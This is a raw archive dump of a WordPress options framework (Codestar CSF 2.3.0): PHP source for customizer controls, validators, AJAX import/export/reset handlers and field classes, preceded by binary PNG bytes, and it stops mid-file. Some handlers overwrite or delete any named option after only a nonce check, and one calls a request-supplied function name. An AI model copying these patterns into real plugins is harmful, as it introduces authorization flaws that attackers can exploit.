   IHDR            tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:6CDAD4838EA411E4A18BE7A93EE984AD" xmpMM:DocumentID="xmp.did:6CDAD4848EA411E4A18BE7A93EE984AD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CDAD4818EA411E4A18BE7A93EE984AD" stRef:documentID="xmp.did:6CDAD4828EA411E4A18BE7A93EE984AD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>  IDATxڬ[GuA9%>DD"""IzHDD!=۽뜽;3ϜqϏlr~~J"2\ggg-Ds>ҷ:g~mtt}koooSOnL>=m۹SǙ~%;;;BgJEd[[[5>z^__gذxu^[[+kWiK'}d>KKK5yS NvgT+~ʾ5P+R[*ߵPLDY7Ƿ5({
ښ{ >[cj2ʆ^M0/BYb4ea(mCR@ưP(kh}r]Zih$]X rF	X`3Hc[-@Xu8 Zk!q<(F(DwQ )^z?Dt7dDhx-DИxǳ$	1F"WJ$ O<H24u`ܮ)uPܺ&&b@JCbJ1æ`iZ˄໪ 0zlH8$ĦyJz*@`=`$!UOC+62ĒnB ~/ƌbh	V
ZV4a+kx%=#LL5"ٴde0P%@pB:8&Aj+vfq@%"^H@f w=@BVyDWQ^ab8WӲRjnAgZ$:>>JM*nnakP5~_+}P+E|-ޕGۙQRw///<fx{{O`>tZmSI뫻ǥ<N.//
=y)oCZA1 cZϳY$0:ֽڄ΍#(knJ#{}8 d,䤏fT1r26O00Qb	q=40VR`d4M@!(%dIz3@{hM@Exa1{2 LJj}*M3P2քXPFyEôچ0gT+!%ѴiT;fO@ϙT*CZv-
hdWԱbĨ0	ld|X"A+ލt+ԌM0gmp &ĝ,G2ʣ:< B[!d>׉A<,>z&@ubdI"J6s 	d-wtFSr䄲o2 mQ(5"
qB$/;"@ N)q	-aY}&奈dO1ha ֈbћ' RHU+    IENDB`PK     2w\b    2  options/framework/assets/images/wp-plugin-logo.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><rect x="0" fill="none" width="20" height="20"/><g><g fill="#fff"><path d="M13.11 4.36L9.87 7.6 8 5.73l3.24-3.24c.35-.34 1.05-.2 1.56.32.52.51.66 1.21.31 1.55zm-8 1.77l.91-1.12 9.01 9.01-1.19.84c-.71.71-2.63 1.16-3.82 1.16H6.14L4.9 17.26c-.59.59-1.54.59-2.12 0-.59-.58-.59-1.53 0-2.12l1.24-1.24v-3.88c0-1.13.4-3.19 1.09-3.89zm7.26 3.97l3.24-3.24c.34-.35 1.04-.21 1.55.31.52.51.66 1.21.31 1.55l-3.24 3.25z"/></g></g></svg>
PK     2w\JuO  O  )  options/framework/functions/customize.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * WP Customize custom panel
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'WP_Customize_Panel_CSF' ) && class_exists( 'WP_Customize_Panel' ) ) {
  class WP_Customize_Panel_CSF extends WP_Customize_Panel {
    public $type = 'csf';
  }
}

/**
 *
 * WP Customize custom section
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'WP_Customize_Section_CSF' ) && class_exists( 'WP_Customize_Section' ) ) {
  class WP_Customize_Section_CSF extends WP_Customize_Section {
    public $type = 'csf';
  }
}

/**
 *
 * WP Customize custom control
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'WP_Customize_Control_CSF' ) && class_exists( 'WP_Customize_Control' ) ) {
  class WP_Customize_Control_CSF extends WP_Customize_Control {

    public $type   = 'csf';
    public $field  = '';
    public $unique = '';

    public function render() {

      $depend  = '';
      $visible = '';

      if ( ! empty( $this->field['dependency'] ) ) {

        $dependency      = $this->field['dependency'];
        $depend_visible  = '';
        $data_controller = '';
        $data_condition  = '';
        $data_value      = '';
        $data_global     = '';

        if ( is_array( $dependency[0] ) ) {
          $data_controller = implode( '|', array_column( $dependency, 0 ) );
          $data_condition  = implode( '|', array_column( $dependency, 1 ) );
          $data_value      = implode( '|', array_column( $dependency, 2 ) );
          $data_global     = implode( '|', array_column( $dependency, 3 ) );
          $depend_visible  = implode( '|', array_column( $dependency, 4 ) );
        } else {
          $data_controller = ( ! empty( $dependency[0] ) ) ? $dependency[0] : '';
          $data_condition  = ( ! empty( $dependency[1] ) ) ? $dependency[1] : '';
          $data_value      = ( ! empty( $dependency[2] ) ) ? $dependency[2] : '';
          $data_global     = ( ! empty( $dependency[3] ) ) ? $dependency[3] : '';
          $depend_visible  = ( ! empty( $dependency[4] ) ) ? $dependency[4] : '';
        }

        $depend .= ' data-controller="'. esc_attr( $data_controller ) .'"';
        $depend .= ' data-condition="'. esc_attr( $data_condition ) .'"';
        $depend .= ' data-value="'. esc_attr( $data_value ) .'"';
        $depend .= ( ! empty( $data_global ) ) ? ' data-depend-global="true"' : '';

        $visible  = ' csf-dependency-control';
        $visible .= ( ! empty( $depend_visible ) ) ? ' csf-depend-visible' : ' csf-depend-hidden';

      }

      $id    = 'customize-control-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
      $class = 'customize-control customize-control-'. $this->type . $visible;

      echo '<li id="'. esc_attr( $id ) .'" class="'. esc_attr( $class ) .'"'. $depend .'>';
      $this->render_field_content();
      echo '</li>';

    }

    public function render_field_content() {

      $complex = apply_filters( 'csf_customize_complex_fields', array(
        'accordion',
        'background',
        'border',
        'button_set',
        'checkbox',
        'color_group',
        'date',
        'dimensions',
        'fieldset',
        'group',
        'image_select',
        'link',
        'link_color',
        'media',
        'palette',
        'repeater',
        'sortable',
        'sorter',
        'spacing',
        'switcher',
        'tabbed',
        'typography'
      ) );

      $field_id   = ( ! empty( $this->field['id'] ) ) ? $this->field['id'] : '';
      $custom     = ( ! empty( $this->field['customizer'] ) ) ? true : false;
      $is_complex = ( in_array( $this->field['type'], $complex ) ) ? true : false;
      $class      = ( $is_complex || $custom ) ? ' csf-customize-complex' : '';
      $atts       = ( $is_complex || $custom ) ? ' data-unique-id="'. esc_attr( $this->unique ) .'" data-option-id="'. esc_attr( $field_id ) .'"' : '';

      if ( ! $is_complex && ! $custom ) {
        $this->field['attributes']['data-customize-setting-link'] = $this->settings['default']->id;
      }

      $this->field['name'] = $this->settings['default']->id;

      $this->field['dependency'] = array();

      echo '<div class="csf-customize-field'. esc_attr( $class ) .'"'. $atts .'>';

      CSF::field( $this->field, $this->value(), $this->unique, 'customize' );

      echo '</div>';

    }

  }
}
PK     2w\'    (  options/framework/functions/sanitize.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Sanitize
 * Replace letter a to letter b
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_sanitize_replace_a_to_b' ) ) {
  function csf_sanitize_replace_a_to_b( $value ) {
    return str_replace( 'a', 'b', $value );
  }
}

/**
 *
 * Sanitize title
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_sanitize_title' ) ) {
  function csf_sanitize_title( $value ) {
    return sanitize_title( $value );
  }
}
PK     2w\R>    &  options/framework/functions/walker.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Custom Walker for Nav Menu Edit
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Walker_Nav_Menu_Edit' ) && class_exists( 'Walker_Nav_Menu_Edit' ) ) {
  class CSF_Walker_Nav_Menu_Edit extends Walker_Nav_Menu_Edit {

    public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {

      $html = '';

      parent::start_el( $html, $item, $depth, $args, $id );

      ob_start();
      do_action( 'wp_nav_menu_item_custom_fields', $item->ID, $item, $depth, $args );
      $custom_fields = ob_get_clean();

      $output .= preg_replace( '/(?=<(fieldset|p)[^>]+class="[^"]*field-move)/', $custom_fields, $html );

    }

  }
}
PK     2w\5
  
  (  options/framework/functions/validate.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Email validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_email' ) ) {
  function csf_validate_email( $value ) {

    if ( ! filter_var( $value, FILTER_VALIDATE_EMAIL ) ) {
      return esc_html__( 'Please enter a valid email address.', 'csf' );
    }

  }
}

/**
 *
 * Numeric validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_numeric' ) ) {
  function csf_validate_numeric( $value ) {

    if ( ! is_numeric( $value ) ) {
      return esc_html__( 'Please enter a valid number.', 'csf' );
    }

  }
}

/**
 *
 * Required validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_required' ) ) {
  function csf_validate_required( $value ) {

    if ( empty( $value ) ) {
      return esc_html__( 'This field is required.', 'csf' );
    }

  }
}

/**
 *
 * URL validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_url' ) ) {
  function csf_validate_url( $value ) {

    if ( ! filter_var( $value, FILTER_VALIDATE_URL ) ) {
      return esc_html__( 'Please enter a valid URL.', 'csf' );
    }

  }
}

/**
 *
 * Email validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_email' ) ) {
  function csf_customize_validate_email( $validity, $value, $wp_customize ) {

    if ( ! sanitize_email( $value ) ) {
      $validity->add( 'required', esc_html__( 'Please enter a valid email address.', 'csf' ) );
    }

    return $validity;

  }
}

/**
 *
 * Numeric validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_numeric' ) ) {
  function csf_customize_validate_numeric( $validity, $value, $wp_customize ) {

    if ( ! is_numeric( $value ) ) {
      $validity->add( 'required', esc_html__( 'Please enter a valid number.', 'csf' ) );
    }

    return $validity;

  }
}

/**
 *
 * Required validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_required' ) ) {
  function csf_customize_validate_required( $validity, $value, $wp_customize ) {

    if ( empty( $value ) ) {
      $validity->add( 'required', esc_html__( 'This field is required.', 'csf' ) );
    }

    return $validity;

  }
}

/**
 *
 * URL validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_url' ) ) {
  function csf_customize_validate_url( $validity, $value, $wp_customize ) {

    if ( ! filter_var( $value, FILTER_VALIDATE_URL ) ) {
      $validity->add( 'required', esc_html__( 'Please enter a valid URL.', 'csf' ) );
    }

    return $validity;

  }
}
PK     2w\"	C  C  '  options/framework/functions/helpers.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Array search key & value
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_array_search' ) ) {
  function csf_array_search( $array, $key, $value ) {

    $results = array();

    if ( is_array( $array ) ) {
      if ( isset( $array[$key] ) && $array[$key] == $value ) {
        $results[] = $array;
      }

      foreach ( $array as $sub_array ) {
        $results = array_merge( $results, csf_array_search( $sub_array, $key, $value ) );
      }

    }

    return $results;

  }
}

/**
 *
 * Between Microtime
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_timeout' ) ) {
  function csf_timeout( $timenow, $starttime, $timeout = 30 ) {
    return ( ( $timenow - $starttime ) < $timeout ) ? true : false;
  }
}

/**
 *
 * Check for wp editor api
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_wp_editor_api' ) ) {
  function csf_wp_editor_api() {
    global $wp_version;
    return version_compare( $wp_version, '4.8', '>=' );
  }
}
PK     2w\?~|    '  options/framework/functions/actions.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Get icons from admin ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_get_icons' ) ) {
  function csf_get_icons() {

    $nonce = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';

    if ( ! wp_verify_nonce( $nonce, 'csf_icon_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    ob_start();

    $icon_library = ( apply_filters( 'csf_fa4', false ) ) ? 'fa4' : 'fa5';

    CSF::include_plugin_file( 'fields/icon/'. $icon_library .'-icons.php' );

    $icon_lists = apply_filters( 'csf_field_icon_add_icons', csf_get_default_icons() );

    if ( ! empty( $icon_lists ) ) {

      foreach ( $icon_lists as $list ) {

        echo ( count( $icon_lists ) >= 2 ) ? '<div class="csf-icon-title">'. esc_attr( $list['title'] ) .'</div>' : '';

        foreach ( $list['icons'] as $icon ) {
          echo '<i title="'. esc_attr( $icon ) .'" class="'. esc_attr( $icon ) .'"></i>';
        }

      }

    } else {

      echo '<div class="csf-error-text">'. esc_html__( 'No data available.', 'csf' ) .'</div>';

    }

    $content = ob_get_clean();

    wp_send_json_success( array( 'content' => $content ) );

  }
  add_action( 'wp_ajax_csf-get-icons', 'csf_get_icons' );
}

/**
 *
 * Export
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_export' ) ) {
  function csf_export() {

    $nonce  = ( ! empty( $_GET[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ 'nonce' ] ) ) : '';
    $unique = ( ! empty( $_GET[ 'unique' ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ 'unique' ] ) ) : '';

    if ( ! wp_verify_nonce( $nonce, 'csf_backup_nonce' ) ) {
      die( esc_html__( 'Error: Invalid nonce verification.', 'csf' ) );
    }

    if ( empty( $unique ) ) {
      die( esc_html__( 'Error: Invalid key.', 'csf' ) );
    }

    // Export
    header('Content-Type: application/json');
    header('Content-disposition: attachment; filename=backup-'. gmdate( 'd-m-Y' ) .'.json');
    header('Content-Transfer-Encoding: binary');
    header('Pragma: no-cache');
    header('Expires: 0');

    echo json_encode( get_option( $unique ) );

    die();

  }
  add_action( 'wp_ajax_csf-export', 'csf_export' );
}

/**
 *
 * Import Ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_import_ajax' ) ) {
  function csf_import_ajax() {

    $nonce  = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';
    $unique = ( ! empty( $_POST[ 'unique' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'unique' ] ) ) : '';
    $data   = ( ! empty( $_POST[ 'data' ] ) ) ? wp_kses_post_deep( json_decode( wp_unslash( trim( $_POST[ 'data' ] ) ), true ) ) : array();

    if ( ! wp_verify_nonce( $nonce, 'csf_backup_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    if ( empty( $unique ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid key.', 'csf' ) ) );
    }

    if ( empty( $data ) || ! is_array( $data ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: The response is not a valid JSON response.', 'csf' ) ) );
    }

    // Success
    update_option( $unique, $data );

    wp_send_json_success();

  }
  add_action( 'wp_ajax_csf-import', 'csf_import_ajax' );
}

/**
 *
 * Reset Ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_reset_ajax' ) ) {
  function csf_reset_ajax() {

    $nonce  = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';
    $unique = ( ! empty( $_POST[ 'unique' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'unique' ] ) ) : '';

    if ( ! wp_verify_nonce( $nonce, 'csf_backup_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    // Success
    delete_option( $unique );

    wp_send_json_success();

  }
  add_action( 'wp_ajax_csf-reset', 'csf_reset_ajax' );
}

/**
 *
 * Chosen Ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_chosen_ajax' ) ) {
  function csf_chosen_ajax() {

    $nonce = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';
    $type  = ( ! empty( $_POST[ 'type' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'type' ] ) ) : '';
    $term  = ( ! empty( $_POST[ 'term' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'term' ] ) ) : '';
    $query = ( ! empty( $_POST[ 'query_args' ] ) ) ? wp_kses_post_deep( $_POST[ 'query_args' ] ) : array();

    if ( ! wp_verify_nonce( $nonce, 'csf_chosen_ajax_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    if ( empty( $type ) || empty( $term ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid term ID.', 'csf' ) ) );
    }

    $capability = apply_filters( 'csf_chosen_ajax_capability', 'manage_options' );

    if ( ! current_user_can( $capability ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: You do not have permission to do that.', 'csf' ) ) );
    }

    // Success
    $options = CSF_Fields::field_data( $type, $term, $query );

    wp_send_json_success( $options );

  }
  add_action( 'wp_ajax_csf-chosen', 'csf_chosen_ajax' );
}
PK     2w\t-9+  +  *  options/framework/classes/fields.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Fields Class
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Fields' ) ) {
  abstract class CSF_Fields extends CSF_Abstract {

    public $field;
    public $value;
    public $unique;
    public $where;
    public $parent;

    public function __construct( $field = array(), $value = '', $unique = '', $where = '', $parent = '' ) {
      $this->field  = $field;
      $this->value  = $value;
      $this->unique = $unique;
      $this->where  = $where;
      $this->parent = $parent;
    }

    public function field_name( $nested_name = '' ) {

      $field_id   = ( ! empty( $this->field['id'] ) ) ? $this->field['id'] : '';
      $unique_id  = ( ! empty( $this->unique ) ) ? $this->unique .'['. $field_id .']' : $field_id;
      $field_name = ( ! empty( $this->field['name'] ) ) ? $this->field['name'] : $unique_id;
      $tag_prefix = ( ! empty( $this->field['tag_prefix'] ) ) ? $this->field['tag_prefix'] : '';

      if ( ! empty( $tag_prefix ) ) {
        $nested_name = str_replace( '[', '['. $tag_prefix, $nested_name );
      }

      return $field_name . $nested_name;

    }

    public function field_attributes( $custom_atts = array() ) {

      $field_id   = ( ! empty( $this->field['id'] ) ) ? $this->field['id'] : '';
      $attributes = ( ! empty( $this->field['attributes'] ) ) ? $this->field['attributes'] : array();

      if ( ! empty( $field_id ) && empty( $attributes['data-depend-id'] ) ) {
        $attributes['data-depend-id'] = $field_id;
      }

      if ( ! empty( $this->field['placeholder'] ) ) {
        $attributes['placeholder'] = $this->field['placeholder'];
      }

      $attributes = wp_parse_args( $attributes, $custom_atts );

      $atts = '';

      if ( ! empty( $attributes ) ) {
        foreach ( $attributes as $key => $value ) {
          if ( $value === 'only-key' ) {
            $atts .= ' '. esc_attr( $key );
          } else {
            $atts .= ' '. esc_attr( $key ) . '="'. esc_attr( $value ) .'"';
          }
        }
      }

      return $atts;

    }

    public function field_before() {
      return ( ! empty( $this->field['before'] ) ) ? '<div class="csf-before-text">'. $this->field['before'] .'</div>' : '';
    }

    public function field_after() {

      $output  = ( ! empty( $this->field['after'] ) ) ? '<div class="csf-after-text">'. $this->field['after'] .'</div>' : '';
      $output .= ( ! empty( $this->field['desc'] ) ) ? '<div class="clear"></div><div class="csf-desc-text">'. $this->field['desc'] .'</div>' : '';
      $output .= ( ! empty( $this->field['help'] ) ) ? '<div class="csf-help"><span class="csf-help-text">'. $this->field['help'] .'</span><i class="fas fa-question-circle"></i></div>' : '';
      $output .= ( ! empty( $this->field['_error'] ) ) ? '<div class="csf-error-text">'. $this->field['_error'] .'</div>' : '';

      return $output;

    }

    public static function field_data( $type = '', $term = false, $query_args = array() ) {

      $options = array();
      $array_search = false;

      // sanitize type name
      if ( in_array( $type, array( 'page', 'pages' ) ) ) {
        $option = 'page';
      } else if ( in_array( $type, array( 'post', 'posts' ) ) ) {
        $option = 'post';
      } else if ( in_array( $type, array( 'category', 'categories' ) ) ) {
        $option = 'category';
      } else if ( in_array( $type, array( 'tag', 'tags' ) ) ) {
        $option = 'post_tag';
      } else if ( in_array( $type, array( 'menu', 'menus' ) ) ) {
        $option = 'nav_menu';
      } else {
        $option  = '';
      }

      // switch type
      switch( $type ) {

        case 'page':
        case 'pages':
        case 'post':
        case 'posts':

          // term query required for ajax select
          if ( ! empty( $term ) ) {

            $query             = new WP_Query( wp_parse_args( $query_args, array(
              's'              => $term,
              'post_type'      => $option,
              'post_status'    => 'publish',
              'posts_per_page' => 25,
            ) ) );

          } else {

            $query          = new WP_Query( wp_parse_args( $query_args, array(
              'post_type'   => $option,
              'post_status' => 'publish',
            ) ) );

          }

          if ( ! is_wp_error( $query ) && ! empty( $query->posts ) ) {
            foreach ( $query->posts as $item ) {
              $options[$item->ID] = $item->post_title;
            }
          }

        break;

        case 'category':
        case 'categories':
        case 'tag':
        case 'tags':
        case 'menu':
        case 'menus':

          if ( ! empty( $term ) ) {

            $query         = new WP_Term_Query( wp_parse_args( $query_args, array(
              'search'     => $term,
              'taxonomy'   => $option,
              'hide_empty' => false,
              'number'     => 25,
            ) ) );

          } else {

            $query         = new WP_Term_Query( wp_parse_args( $query_args, array(
              'taxonomy'   => $option,
              'hide_empty' => false,
            ) ) );

          }

          if ( ! is_wp_error( $query ) && ! empty( $query->terms ) ) {
            foreach ( $query->terms as $item ) {
              $options[$item->term_id] = $item->name;
            }
          }

        break;

        case 'user':
        case 'users':

          if ( ! empty( $term ) ) {

            $query      = new WP_User_Query( array(
              'search'  => '*'. $term .'*',
              'number'  => 25,
              'orderby' => 'title',
              'order'   => 'ASC',
              'fields'  => array( 'display_name', 'ID' )
            ) );

          } else {

            $query = new WP_User_Query( array( 'fields' => array( 'display_name', 'ID' ) ) );

          }

          if ( ! is_wp_error( $query ) && ! empty( $query->get_results() ) ) {
            foreach ( $query->get_results() as $item ) {
              $options[$item->ID] = $item->display_name;
            }
          }

        break;

        case 'sidebar':
        case 'sidebars':

          global $wp_registered_sidebars;

          if ( ! empty( $wp_registered_sidebars ) ) {
            foreach ( $wp_registered_sidebars as $sidebar ) {
              $options[$sidebar['id']] = $sidebar['name'];
            }
          }

          $array_search = true;

        break;

        case 'role':
        case 'roles':

          global $wp_roles;

          if ( ! empty( $wp_roles ) ) {
            if ( ! empty( $wp_roles->roles ) ) {
              foreach ( $wp_roles->roles as $role_key => $role_value ) {
                $options[$role_key] = $role_value['name'];
              }
            }
          }

          $array_search = true;

        break;

        case 'post_type':
        case 'post_types':

          $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );

          if ( ! is_wp_error( $post_types ) && ! empty( $post_types ) ) {
            foreach ( $post_types as $post_type ) {
              $options[$post_type->name] = $post_type->labels->name;
            }
          }

          $array_search = true;

        break;

        case 'location':
        case 'locations':

          $nav_menus = get_registered_nav_menus();

          if ( ! is_wp_error( $nav_menus ) && ! empty( $nav_menus ) ) {
            foreach ( $nav_menus as $nav_menu_key => $nav_menu_name ) {
              $options[$nav_menu_key] = $nav_menu_name;
            }
          }

          $array_search = true;

        break;

        default:

          if ( is_callable( $type ) ) {
            if ( ! empty( $term ) ) {
              $options = call_user_func( $type, $query_args );
            } else {
              $options = call_user_func( $type, $term, $query_args );
            }
          }

        break;

      }

      // Array search by "term"
      if ( ! empty( $term ) && ! empty( $options ) && ! empty( $array_search ) ) {
        $options = preg_grep( '/'. $term .'/i', $options );
      }

      // Make multidimensional array for ajax search
      if ( ! empty( $term ) && ! empty( $options ) ) {
        $arr = array();
        foreach ( $options as $option_key => $option_value ) {
          $arr[] = array( 'value' => $option_key, 'text' => $option_value );
        }
        $options = $arr;
      }

      return $options;

    }

    public function field_wp_query_data_title( $type, $values ) {

      $options = array();

      if ( ! empty( $values ) && is_array( $values ) ) {

        foreach ( $values as $value ) {

          $options[$value] = ucfirst( $value );

          switch( $type ) {

            case 'post':
            case 'posts':
            case 'page':
            case 'pages':

              $title = get_the_title( $value );

              if ( ! is_wp_error( $title ) && ! empty( $title ) ) {
                $options[$value] = $title;
              }

            break;

            case 'category':
            case 'categories':
            case 'tag':
            case 'tags':
            case 'menu':
            case 'menus':

              $term = get_term( $value );

              if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
                $options[$value] = $term->name;
              }

            break;

            case 'user':
            case 'users':

              $user = get_user_by( 'id', $value );

              if ( ! is_wp_error( $user ) && ! empty( $user ) ) {
                $options[$value] = $user->display_name;
              }

            break;

            case 'sidebar':
            case 'sidebars':

              global $wp_registered_sidebars;

              if ( ! empty( $wp_registered_sidebars[$value] ) ) {
                $options[$value] = $wp_registered_sidebars[$value]['name'];
              }

            break;

            case 'role':
            case 'roles':

              global $wp_roles;

              if ( ! empty( $wp_roles ) && ! empty( $wp_roles->roles ) && ! empty( $wp_roles->roles[$value] ) ) {
                $options[$value] = $wp_roles->roles[$value]['name'];
              }

            break;

            case 'post_type':
            case 'post_types':

              $post_types = get_post_types( array( 'show_in_nav_menus' => true ) );

              if ( ! is_wp_error( $post_types ) && ! empty( $post_types ) && ! empty( $post_types[$value] ) ) {
                $options[$value] = ucfirst( $value );
              }

            break;

            case 'location':
            case 'locations':

              $nav_menus = get_registered_nav_menus();

              if ( ! is_wp_error( $nav_menus ) && ! empty( $nav_menus ) && ! empty( $nav_menus[$value] ) ) {
                $options[$value] = $nav_menus[$value];
              }

            break;

            default:

              if ( is_callable( $type .'_title' ) ) {
                $options[$value] = call_user_func( $type .'_title', $value );
              }

            break;

          }

        }

      }

      return $options;

    }

  }
}
PK     2w\6gμ@M  @M  )  options/framework/classes/setup.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Setup Class
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Setup' ) ) {
  class CSF_Setup {

    // Default constants
    public static $premium  = false;
    public static $version  = '2.3.0';
    public static $dir      = '';
    public static $url      = '';
    public static $css      = '';
    public static $file     = '';
    public static $enqueue  = false;
    public static $webfonts = array();
    public static $subsets  = array();
    public static $inited   = array();
    public static $fields   = array();
    public static $args     = array(
      'admin_options'       => array(),
      'customize_options'   => array(),
      'metabox_options'     => array(),
      'nav_menu_options'    => array(),
      'profile_options'     => array(),
      'taxonomy_options'    => array(),
      'widget_options'      => array(),
      'comment_options'     => array(),
      'shortcode_options'   => array(),
    );

    // Shortcode instances
    public static $shortcode_instances = array();

    private static $instance = null;

    public static function init( $file = __FILE__, $premium = false ) {

      // Set file constant
      self::$file = $file;

      // Set file constant
      self::$premium = $premium;

      // Set constants
      self::constants();

      // Include files
      self::includes();

      if ( is_null( self::$instance ) ) {
        self::$instance = new self();
      }

      return self::$instance;

    }

    // Initalize
    public function __construct() {

      // Init action
      do_action( 'csf_init' );

      // Setup textdomain
      self::textdomain();

      add_action( 'after_setup_theme', array( 'CSF', 'setup' ) );
      add_action( 'init', array( 'CSF', 'setup' ) );
      add_action( 'switch_theme', array( 'CSF', 'setup' ) );
      add_action( 'admin_enqueue_scripts', array( 'CSF', 'add_admin_enqueue_scripts' ) );
      add_action( 'wp_enqueue_scripts', array( 'CSF', 'add_typography_enqueue_styles' ), 80 );
      add_action( 'wp_head', array( 'CSF', 'add_custom_css' ), 80 );
      add_filter( 'admin_body_class', array( 'CSF', 'add_admin_body_class' ) );

    }

    // Setup frameworks
    public static function setup() {

      // Setup admin option framework
      $params = array();
      if ( class_exists( 'CSF_Options' ) && ! empty( self::$args['admin_options'] ) ) {
        foreach ( self::$args['admin_options'] as $key => $value ) {
          if ( ! empty( self::$args['sections'][$key] ) && ! isset( self::$inited[$key] ) ) {

            $params['args']     = $value;
            $params['sections'] = self::$args['sections'][$key];
            self::$inited[$key] = true;

            CSF_Options::instance( $key, $params );

            if ( ! empty( $value['show_in_customizer'] ) ) {
              $value['output_css'] = false;
              $value['enqueue_webfont'] = false;
              self::$args['customize_options'][$key] = $value;
              self::$inited[$key] = null;
            }

          }
        }
      }

      do_action( 'csf_loaded' );

    }

    // Create options
    public static function createOptions( $id, $args = array() ) {
      self::$args['admin_options'][$id] = $args;
    }

    // Create section
    public static function createSection( $id, $sections ) {
      self::$args['sections'][$id][] = $sections;
      self::set_used_fields( $sections );
    }

    // Set directory constants
    public static function constants() {

      // We need this path-finder code for set URL of framework
